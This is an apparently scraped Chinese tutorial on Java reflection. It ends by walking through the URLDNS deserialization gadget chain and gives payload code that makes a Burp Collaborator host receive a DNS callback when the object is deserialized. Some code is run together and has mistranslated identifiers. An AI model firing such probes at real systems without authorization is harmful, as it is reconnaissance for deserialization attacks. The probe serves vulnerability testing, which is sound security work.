当前位置: 首页 > 科技观察

Java反射实例分析,你知道吗?

时间:2023-03-14 19:59:37 科技观察

反射是大多数语言不可或缺的一部分。对象可以通过反射获取自己的类,类可以通过反射获取所有方法(包括private),获取到的方法可以调用。总之,通过“反射”,我们可以为Java这样的静态语言添加动态特性。什么是反射Java的反射是指在运行状态下,对于任何一个类,你都可以知道这个类的所有属性和方法,对于任何一个对象。基本形式publicvoidexecute(StringclassName,StringmethodName)throwsException{Classclazz=Class.forName(className);clazz.getMethod(methodName).invoke(clazz.newInstance());}在上面的例子中,我演示了反射中几个极其重要的方法:获取类的方法:forName实例化类对象的方法:newInstance获取函数的方法:getMethod执行函数的方法:invoke。反射的作用:使Java动态化,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法。在反序列化漏洞中,应用程序自定义需要的对象,通过invoke调用同名函数以外的函数,通过类class创建对象,引入无法序列化的类。Java反射实例这里是白日梦教主的一个例子,详细讲解了反射。先写一个Person作为我们下面演示的原型类。publicclassPerson{privateStringname;publicintage;publicvoidact(){System.out.println("test");}@OverridepublicStringtoString(){return"Persion{"+"name='"+name+'\''+",age="+age+'}';}publicStringgetName(){returnname;}publicvoidsetName(Stringname){this.name=name;}publicintgetAge(){returnage;}publicvoidsetAge(intage){this.age=age;}publicPerson(){}publicPerson(Stringname,intage){this.name=name;this.age=age;}}get原型类使用forName方法:Classc=Class.forName("Person");这里也写了一个基于ClassLoader的动态类加载方法。this.getClass().getClassLoader().loadClass("人");从原型类实例化对象,使用构造函数实例化。构造函数constructor=c.getConstructor(String.class,int.class);Personp1=(Person)constructor.newInstance("abc",22);让我们一行一行地写分析:Constructorconstructor=c.getConstructor(String.class,int.class);这一行是获取重载的构造函数publicPerson(Stringname,intage){this.name=name;this.age=age;}给constructor实例传递参数转换一个对象Personp1=(Person)constructor.newInstance("abc",22);我们可以打印p1看返回结果,获取类privateStringname中的属性;公共年龄;publicFieldageField=c.getField("age");ageField.set(p1,11);privateFieldnameField=c.getDeclaredField("name");nameField.setAccessible(true);nameField.set(p1,"xinyuan");获取类方法Methodactmethod=c.getMethod("act",String.class);actmethod.invoke(p1,"SKyMirror");getMethod类似于上面的get构造函数,第一个参数是函数名,其次是传递的参数类型。invoke方法首先传入对象,第二个传入参数值。使用URLDNS(反射)链是反射的简单应用。利用URL类重写hashCode方法,使得执行hashCode时,exploit无法执行命令,但会请求DNS,所以用来验证是否存在反序列化漏洞。源码如下:可以看到当我们调用一次hashCode方法时,会针对传入的URL对象发起请求,也就是如果我们去DNSLOG申请地址,可以判断是否hashCode方法根据访问成功执行再判断是否执行逆序优化操作。URL类实现了java.io.Serializable,可以进行序列化操作。因此,这里可以验证一下我们上面的想法。Chain这个链条也比较短,比较简单,主要是使用HashMap来执行hashCode方法。HashMap实现了Serializable,可以序列化。这里在反序列化的时候注意HashMap的readObject方法。跟进hash方法:key参数可控,反序列化时生成key。使用put在HashMap中传入一个URL对象,在反序列化的时候可以调用这个方法,从而触发整个链条。需要注意一点,我们在序列化的时候,传入的put参数会修改传入的URL对象的hashCode值,因为hashCode值不等于-1,所以下面的方法不能正常触发,即无法触发DNS请求。同时在正常的put传参过程中会执行一个DNS请求,所以我们在put传参前修改hashCode的值(不是-1),传参后修改hashCode为-1,这样反序列化时可以正常执行。有效载荷如下:publicstaticvoidmain(String[]args)throwsException{HashMaphashMap=newHashMap<>();URLu=newURL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");Classc=u.getClass();//在put方法传参前修改URL对象的hashCode值FieldhashcodeField=c.getDeclaredField("hashCode");hashcodeField.setAccessible(true);hashcodeField.set(u,123);hashMap.put(u,123);//修改url对象的hashCode值为-1hashcodeField.set(u,-1);序列化(hashMap);}